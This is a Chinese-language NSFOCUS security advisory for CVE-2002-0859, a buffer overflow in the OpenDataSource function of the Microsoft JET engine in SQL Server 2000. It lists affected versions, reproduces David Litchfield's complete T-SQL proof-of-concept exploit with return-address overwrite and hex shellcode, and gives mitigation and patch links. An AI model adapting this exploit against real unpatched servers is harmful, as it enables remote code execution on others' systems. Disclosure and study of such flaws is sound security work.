安全研究

安全漏洞
Microsoft SQL MS Jet引擎OpenDataSource远程缓冲区溢出漏洞

发布日期:2002-06-19
更新日期:2002-06-28

受影响系统:
Microsoft JET 4.0SP5
Microsoft JET 4.0SP4
Microsoft JET 4.0SP3
Microsoft JET 4.0SP2
Microsoft JET 4.0SP1
Microsoft JET 4.0
Microsoft SQL Server 2000
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
Microsoft SQL Server 2000 SP1
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
Microsoft SQL Server 2000 SP2
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows 2000 SP3
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
不受影响系统:
Microsoft JET 4.0SP6
描述:
BUGTRAQ  ID: 5057
CVE ID: CVE-2002-0859

Microsoft SQL Server是一款由Microsoft公司开发的商业性质大型数据库系统。

Microsoft SQL Server当和MS JET引擎组合使用时OpenDataSource函数存在漏洞,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。

通过提交特殊构建的使用OpenDataSource函数的SQL查询可使SQL服务进程产生缓冲区溢出,同时溢出属于UNICODE性质,精心构建数据可容易的以SQL服务进程的权限在系统上执行任意指令。

攻击者可以通过WEB应用程序使用SQL指令插入进行攻击,所以没有与Internet连接的SQL服务程序就不表示一定安全。

由于问题存在于MS JET引擎组件,所以其他依靠此引擎组件的产品也应该存在此漏洞。

<*来源:David Litchfield
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-06/0223.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

David Litchfield (david@nextgenss[.]com)提供了如下测试方法:

-------8<---------

-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002



declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
select @padding = @padding + @pad
select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K
Sp2
-- change if running a different service pack

select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0
C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM
penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad +
@code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended
properties=Excel 5.0'')...xactions'
exec (@exploit)

------->8---------

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用防火墙,对Microsoft SQL Server进行访问控制,只允许可信用户访问。

厂商补丁:

Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Microsoft Upgrade Q282010
http://www.microsoft.com/windows2000/downloads/recommended/q282010/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D38002%26area%3Dsearch%26ordinal%3D2%26redirect%3Dno

Microsoft Jet 4.0 Service Pack 6 (Windows 2000). 需要Microsoft Jet 4.0 Service Pack 5.

浏览次数:3598
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障